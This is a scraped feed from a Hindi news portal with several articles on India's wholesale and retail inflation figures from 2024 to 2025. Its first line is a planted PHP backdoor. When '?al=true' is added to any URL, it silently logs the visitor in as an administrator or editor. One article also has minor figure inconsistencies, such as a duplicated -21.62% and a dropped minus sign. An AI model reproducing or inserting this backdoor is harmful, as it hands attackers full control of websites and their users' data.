// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Wholesale Inflation – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 16 Jun 2025 15:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 महंगाई के मोर्चे पर अच्छी खबर, खाने-पीने से लेकर तेल की कीमतों में आई कमी, थोक महंगाई दर निचले स्तर पर पहुंचा https://pratyushaashakinayikiran.com/?p=164300 Mon, 16 Jun 2025 15:36:00 +0000 https://pratyushaashakinayikiran.com/?p=164300 नई दिल्ली

खुदरा महंगाई के मोर्चे पर आम लोगों को राहत मिलने के बाद राहत की एक और बड़ी खबर आई है. आज, 16 जून थोक महंगाई दर के भी आंकड़े जारी हो गए हैं. मई महीने के दौरान थोक महंगाई दर में भी कमी आई है और यह 0.39% रही. मई महीने में थोक महंगाई दर माह-दर-माह आधार पर 0.85% से घटकर 0.39% पर आ चुकी है. एक्सपर्ट्स ने इसे 0.80% रहने का अनुमान जताया था.

थोक महंगाई दर में गिरावट के साथ अब यह 14 महीने के निचले स्तर पर फिसल चुका है. भारत में मई महीने के लिए यह थोक महंगाई दर मार्च 2024 के निचले स्तर पर आ गया है.

मई 2025 के लिए आंकड़ों पर डिटेल में नजर डालें तो प्राइमरी आर्टिकल्स का WPI -1.44% से घटकर -2.02% पर आ चुकी है. इस दौरान खाद्य महंगाई दर मासिक आधार पर 2.55% से 1.72% पर आ चुकी है. मैन्युफैक्चरिंग WPI 2.62% से घटकर 2.04% पर आ चुका है. फ्यूल एंड पावर WPI -2.18% से घटकर 2.27% पर आ चुका है. प्याज की थोक महंगाई दर 0.20% से घटकर -21.62% फिसल चुका है. वहीं, सब्जियों की महंगाई दर भी -18.26% से घटकर -21.62% पर फिसला है. अंडे, मांस और मछली की WPI -0.29% से घटकर -1.01% पर आ चुकी है.

ये चीजें हुईं सस्ती

खाने पीने के सामानों में कटौती करने का असर थोक महंगाई के आंकड़ों के तौर पर साफ देखा जा सकता है. खाने-पीने की चीजों (फूड इंडेक्स) की महंगाई 2.55% से घटकर 1.72% हो गई है. फ्यूल और पावर की थोक महंगाई दर -2.18% से घटकर -2.27 रही है. वहीं, मैन्युफैक्चरिंग प्रोडक्ट्स की थोक महंगाई दर 2.62% से घटकर 2.04 रही है.
रिटेल महंगाई में भी कमी

थोक महंगाई के आंकड़ों से पहले सरकार की ओर से रिटेल महंगाई के आंकड़ें जारी किए गए थे. 12 जून को जारी आंकड़ों के मुताबिक, मई 2025 में भारत की रिटेल महंगाई घटकर 2.82% पर पहुंच गई, जो छह साल का सबसे निचला स्तर है. इससे पहले मार्च 2019 में यह 2.86% थी. खाद्य पदार्थों की कीमतों में लगातार कमी के कारण रिटेल महंगाई में नरमी आई है. अप्रैल 2025 में रिटेल महंगाई 3.16% थी, जबकि मार्च में यह 3.34% रही, जो 67 महीने का सबसे निचला स्तर था. फरवरी से रिटेल महंगाई RBI के 4% के लक्ष्य से नीचे बनी हुई है.
कैसे मापी जाती है महंगाई?

रिटेल और थोक महंगाई को मापने के लिए अलग-अलग उत्पादों को आधार बनाया जाता है. महंगाई मापने हेतु विभिन्न आइटम्स को शामिल किया जाता है. उदाहरण के लिए, थोक महंगाई में मैन्युफैक्चर्ड प्रोडक्ट्स की हिस्सेदारी 63.75%, प्राइमरी आर्टिकल जैसे खाद्य पदार्थों की 22.62%, और फ्यूल व ऊर्जा की 13.15% होती है. दूसरी ओर, रिटेल महंगाई में खाद्य पदार्थों और उत्पादों की हिस्सेदारी 45.86%, आवास की 10.07%, और फ्यूल सहित अन्य आइटम्स की भी भागीदारी शामिल होती है.

खुदरा महंगाई दर के आंकड़े कैसे रहे?
मई 2025 में खुदरा महंगाई दर 6 साल के निचले स्तर पर आ चुका है. मई में कंज्यूमर प्राइस इंडेक्स (CPI) घटकर 2.82% पर रहा, जो अप्रैल में 3.16% पर था. हालांकि मई में रिटेल महगाई के 2.95% पर रहने का अनुमान लगाया गया था. यह लगातार चौथा महीना है जब खुदरा महंगाई दर भारतीय रिजर्व बैंक (RBI) के 4% के मिड प्वाइंट से नीचे रही है. खाद्य महंगाई, जिसका कंज्यूमर प्राइस इंडेक्स में महत्वपूर्ण योगदान है, लगातार तीन महीनों से 3% से नीचे बनी हुई है.

फरवरी 2019 के बाद यह साल-दर-साल सबसे कम महंगाई है. अक्टूबर में CPI 14 महीने के उच्च स्तर 6.21% पर पहुंच गई थी. मई में खाद्य महंगाई महीने दर महीने 1.78% से घटकर 0.99% पर आ गई है. आरबीआई ने 6 जून को अपनी मॉनेटरी पॉलिसी समीक्षा में वित्त वर्ष 2026 के लिए महंगाई के अपने पूर्वानुमान को पहले के 4% से घटाकर 3.7% कर दिया है.

बीते महीने खाद्य वस्तुओं में थोक महंगाई दर कम होकर 1.72 प्रतिशत हो गई है, जो कि अप्रैल में 2.55 प्रतिशत थी। यह ट्रेंड दिखाता है कि देश में खाद्य वस्तुओं की कीमतों में कमी आ रही है.  खाद्य वस्तुओं की श्रेणी में सब्जियों की महंगाई दर मई में घटकर -21.62 प्रतिशत रह गई, जो अप्रैल में -18.26 प्रतिशत थी. 

मई महीने में दालों में महंगाई दर -10.41 प्रतिशत रही, जबकि गेहूं की महंगाई दर 5.75 प्रतिशत रही. अंडे, मांस और मछली की महंगाई दर अप्रैल में -0.29 प्रतिशत से घटकर मई में -1.01 प्रतिशत रह गई. आलू और प्याज की महंगाई दर क्रमशः -29.42 प्रतिशत और -14.41 प्रतिशत रही.  मई में ईंधन और ऊर्जा पर महंगाई दर (-)2.27 प्रतिशत रही है, जो कि अप्रैल में (-) 2.18 प्रतिशत थी.  

प्राथमिक वस्तुओं के लिए महंगाई दर मई में कम होकर (-) 2.02 प्रतिशत रह गई है, जो कि अप्रैल में (-) 1.44 प्रतिशत थी. डब्ल्यूपीआई मुख्य महंगाई दर, जिसमें फूड और फ्यूल नहीं शामिल होता है, घटकर 0.9 प्रतिशत हो गई है, जो कि अप्रैल में 1.5 प्रतिशत थी. सरकारी आंकड़ों के मुताबिक, मैन्युफैक्चरिंग प्रोडक्ट्स पर महंगाई दर मई में 2.04 प्रतिशत रही है, जो कि अप्रैल में 2.62 प्रतिशत थी. 

 

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थोक महंगाई दर दिसंबर महीने में बढ़कर 2.37 फीसदी पर पहुंची https://pratyushaashakinayikiran.com/?p=121388 Wed, 15 Jan 2025 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=121388 नई दिल्ली

दिसंबर माह में थोक मूल्य सूचकांक (डब्ल्यूपीआई) आधारित थोक महंगाई दर बढ़कर 2.37 फीसदी पर आ गई। इससे पहले नवंबर में थोक महंगाई दर 1.89 फीसदी पर थी जबकि अक्टूबर में यह 2.36 फीसदी थी। वाणिज्‍य एवं उद्योग मंत्रालय ने मंगलवार को जारी आंकड़ों में बताया कि प्याज, आलू, अंडे, मांस-मछली और फलों की थोक में कीमतें बढ़ने की वजह से डब्ल्यूपीआई पर आधारित थोक महंगाई दर दिसंबर में बढ़कर 2.37 फीसदी पर पहुंच गई है।

डब्ल्यूपीआई आधारित महंगाई दर नवंबर 2024 में 1.89 फीसदी थी, जबकि दिसंबर, 2023 में यह 0.86 फीसदी रही थी। खाद्य वस्तुओं की महंगाई दर दिसंबर, 2024 में घटकर 8.47 फीसदी रह गई जबकि नवंबर में यह 8.63 फीसदी थी। सब्जियों की महंगाई नवंबर में 28.57 फीसदी के मुकाबले दिसंबर में 28.65 फीसदी रही। आलू की महंगाई 93.20 फीसदी के उच्चतम स्तर पर बनी रही जबकि प्याज की महंगाई दिसंबर में बढ़कर 16.81 फीसदी हो गई है।

मंत्रालय के जारी आंकड़ों के मुताबिक खाद्य पदार्थों में अनाज, दालें, गेहूं की महंगाई दिसंबर में कम हुई है। इसी तरह ईंधन और बिजली की महंगाई दिसंबर में घटकर 3.79 फीसदी हो गई जो नवंबर में 5.83 फीसदी थी। इसके अलावा विनिर्मित वस्तुओं में महंगाई 2.14 फीसदी रही, जबकि नवंबर में यह दो फीसदी पर थी।

उल्‍लेखनीय है कि उपभोक्ता मूल्य सूचकांक पर आधारित खुदरा महंगाई दर  जारी आंकड़ों के अनुसार खाद्य कीमतों में कमी की वजह से दिसंबर, 2024 में घटकर चार महीने के निचले स्तर 5.22 फीसदी पर आ गई है।

 

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अक्टूबर में थोक मुद्रा स्फीति बढ़कर 2.36 प्रतिशत https://pratyushaashakinayikiran.com/?p=98721 Thu, 14 Nov 2024 20:10:00 +0000 https://pratyushaashakinayikiran.com/?p=98721 नई दिल्ली

खाद्य उत्पादों और प्राथमिक वस्तुओं की कीमतों में तेजी के चलते थोक मूल्य सूचकांक पर आधारित मुद्रा स्फीति अक्टूबर 2024 में बढ़कर 2.36 प्रतिशत रही।
सरकार द्वारा गुरुवार को जारी अक्टूबर माह के थोक मूल्य सूचकांक के अनुसार, अक्टूबर में, खाद्य उत्पादों की थोक कीमतों में सालाना आधार पर 11.59 प्रतिशत और प्राथमिक वस्तुओं की कीमतों में 1.09 प्रतिशत की वृद्धि दर्ज की गयी।

वाणिज्यों एवं उद्योग मंत्रालय की विज्ञप्ति के अनुसार, अक्टूबर माह में ईंधन और ऊर्जा के थोक भाव पिछले साल अक्टूबर की तुलना में 5.79 प्रतिशत नीचे रहे जबकि विनिर्मित उत्पादों की थोक कीमतों में सालाना आधार पर 1.50 प्रतिशत की तेजी रही।
सितंबर में थोक मुद्रा स्फीति 1.84 प्रतिशत और अगस्त में 1.25 प्रतिशत रही।

सब्जियों की कीमतों में लगी आग

आंकड़ों के अनुसार, खाद्य पदार्थों की मुद्रास्फीति अक्टूबर में बढ़कर 13.54 प्रतिशत हो गई, जबकि सितंबर में यह 11.53 प्रतिशत थी। इसमें सब्जियों की मुद्रास्फीति 63.04 प्रतिशत रही, जबकि सितंबर में यह 48.73 प्रतिशत थी। अक्टूबर में आलू और प्याज की मुद्रास्फीति क्रमशः 78.73 प्रतिशत और 39.25 प्रतिशत पर उच्च स्तर पर रही।
ईंधन और बिजली में दिखा ये बदलाव

खबर के मुताबिक, ईंधन और बिजली श्रेणी में अक्टूबर में 5. 79 प्रतिशत की अपस्फीति देखी गई, जबकि सितंबर में 4. 05 प्रतिशत की अपस्फीति थी। विनिर्मित वस्तुओं में, मुद्रास्फीति अक्टूबर में 1. 50 प्रतिशत रही, जबकि पिछले महीने यह 1 प्रतिशत थी। अक्टूबर महीने में थोक मुद्रास्फीति में लगातार दूसरे महीने वृद्धि देखी गई। अक्टूबर के स्तर से अधिक WPI पिछली बार जून 2024 में दर्ज की गई थी, जब यह 3. 43 प्रतिशत थी।
खुदरा मुद्रास्फीति 14 महीने के उच्च स्तर पर

वाणिज्य और उद्योग मंत्रालय ने गुरुवार को एक बयान में कहा कि अक्टूबर, 2024 में मुद्रास्फीति मुख्य रूप से खाद्य पदार्थों, खाद्य उत्पादों के निर्माण, अन्य विनिर्माण, मशीनरी और उपकरणों के निर्माण, मोटर वाहनों, ट्रेलरों और अर्ध-ट्रेलरों आदि के मूल्यों में बढ़ोतरी के चलते होगी। सप्ताह की शुरुआत में जारी उपभोक्ता मूल्य सूचकांक के आंकड़ों से पता चलता है कि खाद्य पदार्थों की कीमतों में तेज वृद्धि के साथ खुदरा मुद्रास्फीति 14 महीने के उच्च स्तर 6. 21 प्रतिशत पर पहुंच गई। यह स्तर भारतीय रिजर्व बैंक (आरबीआई) की ऊपरी सहनीय सीमा से अधिक है, जिससे दिसंबर में नीति समीक्षा बैठक में बेंचमार्क ब्याज दरों में कटौती करना मुश्किल हो सकता है।

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सितंबर में थोक मुद्रास्फीति बढ़कर 1.84 फीसदी पर, खाद्य पदार्थों की कीमतों में उछाल से बढ़ोतरी https://pratyushaashakinayikiran.com/?p=84306 Mon, 14 Oct 2024 16:36:00 +0000 https://pratyushaashakinayikiran.com/?p=84306 सितंबर में थोक मुद्रास्फीति बढ़कर 1.84 फीसदी पर, खाद्य पदार्थों की कीमतों में उछाल से बढ़ोतरी

 खाद्य पदार्थों के महंगे होने से थोक मूल्य मुद्रास्फीति सितंबर में बढ़कर 1.84 फीसदी हो गई

'विदेश से पैसा भेजने में लगने वाले समय और लागत को कम करना जरूरी', आरबीआई गवर्नर ने बताया कारण

नई दिल्ली
 सब्जियों और अन्य खाद्य पदार्थों के महंगे होने से थोक मूल्य मुद्रास्फीति सितंबर में बढ़कर 1.84 फीसदी हो गई। अगस्त में थोक मूल्य सूचकांक (डब्ल्यूपीआई) आधारित मुद्रास्फीति 1.31 फीसदी थी। पिछले साल सितंबर में यह 0.07 फीसदी घटी थी। सोमवार को जारी सरकारी आंकड़ों के मुताबिक, खाद्य मुद्रास्फीति सितंबर में बढ़कर 11.53 फीसदी हो गई, जबकि अगस्त में यह 3.11 फीसदी थी।

इसकी वजह सब्जियों की मुद्रास्फीति रही, जो सितंबर में 48.73 फीसदी बढ़ी थी। अगस्त में यह 10.01 फीसदी घट गई थी। आलू की मुद्रास्फीति सितंबर में 78.13 और प्याज की 78.82 प्रतिशत पर उच्च स्तर पर बनी रही। ईंधन और बिजली श्रेणी में सितंबर में 4.05 फीसदी की अपस्फीति देखी गई, जबकि अगस्त में 0.67 प्रतिशत की अपस्फीति हुई थी।

वाणिज्य एवं उद्योग मंत्रालय ने एक बयान में कहा कि सितंबर, 2024 में मुद्रास्फीति की सकारात्मक दर मुख्य रूप से खाद्य पदार्थों, खाद्य उत्पादों, अन्य विनिर्माण, मोटर वाहनों, ट्रेलरों और अर्ध-ट्रेलरों के निर्माण, मशीनरी और उपकरणों के निर्माण आदि की कीमतों में वृद्धि के कारण है।

खुदरा मुद्रास्फीति को ध्यान में रखता है आरबीआई
भारतीय रिजर्व बैंक (आरबीआई) मौद्रिक नीति तैयार करते समय मुख्य रूप से खुदरा मुद्रास्फीति को ध्यान में रखता है। आरबीआई ने इसी महीने अपनी मौद्रिक नीति समीक्षा में मुख्य ब्याज दर या रेपो दर को 6.5 प्रतिशत पर बरकरार रखा। खुदरा मुद्रास्फीति के आंकड़े दिन में जारी किए जाएंगे।

'विदेश से पैसा भेजने में लगने वाले समय और लागत को कम करना जरूरी', आरबीआई गवर्नर ने बताया कारण

 भारतीय रिजर्व बैंक के गवर्नर शक्तिकांत दास ने सोमवार को विदेशों से धन भेजने में लगने वाले समय और लागत को कम करने की वकालत की। उन्होंने कहा कि विकासशील अर्थव्यवस्थाओं के लिए यह महत्वपूर्ण है। आरबीआई गवर्नर ने कहा कि नई प्रौद्योगिकी और भुगतान प्रणाली का उपयोग सीमा पार भुगतान में तेजी लाने और विस्तार के लिए किया जा सकता है।

दास ने 'सेंट्रल बैंकिंग एट क्रॉसरोड्स' विषय पर आयोजित सम्मेलन के दौरान कहा, "भारत सहित कई उभरती और विकासशील अर्थव्यवस्थाओं के लिए सीमा पार पीयर-टू-पीयर (पी2पी) भुगतान की संभावनाओं को तलाशने के लिए धन प्रेषण पहला कदम है। हमारा मानना है कि इस तरह के धन प्रेषण की लागत और समय को काफी कम करने की अपार संभावनाएं हैं।" इसके अलावा, उन्होंने कहा कि डॉलर, यूरो और पाउंड जैसी प्रमुख व्यापारिक मुद्राओं में लेनदेन निपटाने के लिए वास्तविक समय सकल निपटान (आरटीजीएस) के विस्तार की व्यवहार्यता द्विपक्षीय या बहुपक्षीय व्यवस्था के माध्यम से तलाशी जा सकती है।

उन्होंने कहा कि भारत और कुछ अन्य अर्थव्यवस्थाओं ने द्विपक्षीय और बहुपक्षीय दोनों तरीकों से सीमा पार तीव्र भुगतान प्रणालियों के संपर्क का विस्तार करने के प्रयास पहले ही शुरू कर दिए हैं। आरबीआई की ओर से शुरू किए गए ई रूपी पर बोलते हुए उन्होंने कहा कि सेंट्रल बैंक डिजिटल करेंसी (सीबीडीसी) एक ऐसा क्षेत्र है जिसमें कुशल सीमा पार भुगतान की सुविधा प्रदान करने की क्षमता है। उन्होंने कहा कि आगे बढ़ते हुए, मानकों और अंतर-संचालन में सामंजस्य सीबीडीसी को सीमा पार भुगतान और क्रिप्टोकरेंसी से जुड़ी गंभीर वित्तीय स्थिरता चिंताओं को दूर करने में सक्षम बनाएगा।

आरबीआई गवर्नर ने बैंकिंग क्षेत्र में आर्टिफिशियल इंटेलिजेंस के दुरुपयोग पर भी चिंता जताते हुए कहा कि इससे साइबर हमले और आंकड़ों के लीक होने का खतरा बढ़ सकता है। उन्होंने कहा, "बैंकों और अन्य वित्तीय संस्थानों को इन सभी जोखिमों के खिलाफ पर्याप्त जोखिम उपाय करने चाहिए। बैंकों को एआई और बिगटेक फायदों का लाभ उठाना चाहिए।"

 

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थोक मुद्रास्फीति में लगातार दूसरे महीने गिरावट, अगस्त में 1.31 प्रतिशत रही https://pratyushaashakinayikiran.com/?p=71752 Tue, 17 Sep 2024 18:45:00 +0000 https://pratyushaashakinayikiran.com/?p=71752 नई दिल्ली
सब्जियों, खाद्य पदार्थों और ईंधन के सस्ते होने से थोक मुद्रास्फीति में लगातार दूसरे महीने गिरावट आई और अगस्त में यह 1.31 प्रतिशत रही। मंगलवार को जारी सरकारी आंकड़ों से यह जानकारी मिली।

थोक मूल्य सूचकांक (डब्ल्यूपीआई) आधारित मुद्रास्फीति में जुलाई में 2.04 प्रतिशत थी। अगस्त 2023 में यह (-) 0.46 प्रतिशत रही थी।

उद्योग मंत्रालय ने बयान में कहा, ‘‘….अगस्त 2024 में खाद्य पदार्थों, प्रसंस्कृत खाद्य उत्पादों, अन्य विनिर्माण, कपड़ा विनिर्माण तथा मशीनरी और उपकरण आदि के विनिर्माण की कीमतों में वृद्धि हुई।’’

आंकड़ों के अनुसार, खाद्य वस्तुओं की मुद्रास्फीति अगस्त में 3.11 प्रतिशत रही, जबकि जुलाई में यह 3.45 प्रतिशत थी।

सब्जियों की कीमतों में अगस्त में 10.01 प्रतिशत की गिरावट दर्ज की गई, जबकि जुलाई में यह 8.93 प्रतिशत थी।

आलू और प्याज की मुद्रास्फीति अगस्त में क्रमश: 77.96 प्रतिशत और 65.75 प्रतिशत के उच्च स्तर पर बनी रही।

ईंधन और बिजली श्रेणी में मुद्रास्फीति जुलाई में 1.72 प्रतिशत के मुकाबले अगस्त में 0.67 प्रतिशत रही।

पिछले सप्ताह जारी आंकड़ों के अनुसार, खुदरा मुद्रास्फीति सब्जियों की बढ़ती कीमतों के कारण अगस्त में 3.65 प्रतिशत रही। यह जुलाई के 3.60 प्रतिशत से अधिक है।

भारतीय रिजर्व बैंक (आरबीआई) मौद्रिक नीति तैयार करते समय मुख्य रूप से खुदरा मुद्रास्फीति को ध्यान में रखता है। आरबीआई ने अगस्त की मौद्रिक नीति समीक्षा में नीतिगत दर को लगातार नौवीं बार 6.5 प्रतिशत पर यथावत रखा था।

 

 

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भारत में थोक मुद्रास्फीति मई में 1.26% से बढ़कर 2.61% हुई,खाने-पीने की चीजों के दाम बढ़े https://pratyushaashakinayikiran.com/?p=41467 Fri, 14 Jun 2024 20:05:00 +0000 https://pratyushaashakinayikiran.com/?p=41467 नईदिल्ली

आज 14 जून को वाणिज्य एवं सांख्यिकी मंत्रालय (Ministry of Commerce & Industry) ने मई के थोक महंगाई (WPI) के आंकड़े जारी कर दिए हैं. थोक मुद्रास्फीति अप्रैल महीने में 1.26% के मुकाबले मई महीने में थोक महंगाई दर 2.61% रही. आंकड़े बताते हैं कि थोक महंगाई 15 महीने में सबसे ज्‍यादा बढ़ी है. बता दें कि थोक मूल्य सूचकांक (डब्ल्यूपीआई) आधारित मुद्रास्फीति अप्रैल में 1.26 प्रतिशत थी. वहीं मई 2023 में यह शून्य से नीचे 3.61 प्रतिशत रही थी.
देखें क्‍या कहते हैं आंकड़े

  •     मई में होलसेल महंगाई दर 2.61%
  •     होलसेल महंगाई दर 2.61% (2.70% का अनुमान)
  •     होलसेल महंगाई दर 1.26% से बढ़कर 2.61% (MoM)
  •     मई में होलसेल महंगाई दर 15 महीने के ऊपरी स्तर पर)
  •     WPI खाद्य महंगाई दर 5.52% से बढ़कर 7.40% (MoM)
  •     प्राइमरी आर्टिकल WPI 5.01% से बढ़कर 7.20% (MoM)
  •     फ्यूल एंड पावर WPI 1.38% से घटकर 1.35% (MoM)
  •     मैन्युफैक्चर्ड प्रोडक्ट WPI -0.42% से बढ़कर 0.78% (MoM)
  •     मार्च संशोधित WPI 0.53% से घटकर 0.26% (MoM)
  •     मई में कोर WPI -0.7% से बढ़कर 0.4% (MoM)

वाणिज्य एवं उद्योग मंत्रालय ने शुक्रवार को एक बयान में कहा, ' मई 2024 में मुद्रास्फीति बढ़ने का मुख्य कारण क्रूड ऑयल, नेचुरल गैस, फूड प्रोडक्ट्स, इलेक्ट्रिसिटी आदि की मैन्युफैक्चरिंग की कीमतों में तेजी रही है. आंकड़ों के अनुसार, खाद्य वस्तुओं की मुद्रास्फीति मई में 9.82 प्रतिशत बढ़ी, जबकि अप्रैल में यह 7.74 प्रतिशत थी. मई में सब्जियों की महंगाई दर 32.42 प्रतिशत रही, जो अप्रैल में 23.60 प्रतिशत थी. प्याज की महंगाई दर 58.05 प्रतिशत, जबकि आलू की महंगाई दर 64.05 प्रतिशत रही. दालों की महंगाई दर मई में 21.95 प्रतिशत रही.

 ईंधन व बिजली क्षेत्र में मुद्रास्फीति 1.35 प्रतिशत रही, जो अप्रैल के 1.38 प्रतिशत से मामूली कम है. विनिर्मित उत्पादों में मुद्रास्फीति 0.78 प्रतिशत रही, जो अप्रैल में शून्य से नीचे 0.42 प्रतिशत थी. थोक मूल्य सूचकांक में मई में वृद्धि महीने के खुदरा मुद्रास्फीति के आंकड़ों के विपरीत है. इस सप्ताह की शुरुआत में जारी आंकड़ों के अनुसार मई में खुदरा मुद्रास्फीति घटकर 4.75 प्रतिशत पर आ गई जो एक साल का सबसे निचला स्तर है. भारतीय रिजर्व बैंक (आरबीआई) मौद्रिक नीति तैयार करते समय मुख्य रूप से खुदरा मुद्रास्फीति को ध्यान में रखता है. बता दें कि आरबीआई ने इस महीने की शुरुआत में लगातार आठवीं बार ब्याज दर को यथावत रखने का फैसला किया था.

महंगाई कैसे मापी जाती है?
भारत में दो तरह की महंगाई होती है। एक रिटेल, यानी खुदरा और दूसरी थोक महंगाई होती है। रिटेल महंगाई दर आम ग्राहकों की तरफ से दी जाने वाली कीमतों पर आधारित होती है। इसको कंज्यूमर प्राइस इंडेक्स (CPI) भी कहते हैं। वहीं, होलसेल प्राइस इंडेक्स (WPI) का अर्थ उन कीमतों से होता है, जो थोक बाजार में एक कारोबारी दूसरे कारोबारी से वसूलता है।

महंगाई मापने के लिए अलग-अलग आइटम्स को शामिल किया जाता है। जैसे थोक महंगाई में मैन्युफैक्चर्ड प्रोडक्ट्स की हिस्सेदारी 63.75%, प्राइमरी आर्टिकल जैसे फूड 20.02% और फ्यूल एंड पावर 14.23% होती है। वहीं, रिटेल महंगाई में फूड और प्रोडक्ट की भागीदारी 45.86%, हाउसिंग की 10.07% और फ्यूल सहित अन्य आइटम्स की भी भागीदारी होती है।

ईंधन और बिजली सूचकांक

ईंधन और बिजली सूचकांक मई में 2.71 प्रतिशत घटकर 150.6 पर आ गया, जो अप्रैल में 154.8 था। खनिज तेल और कोयले की कीमतें अप्रैल के मुकाबले मई में अपरिवर्तित रहीं, लेकिन बिजली की कीमतों में मई में 11.67% की गिरावट आई।

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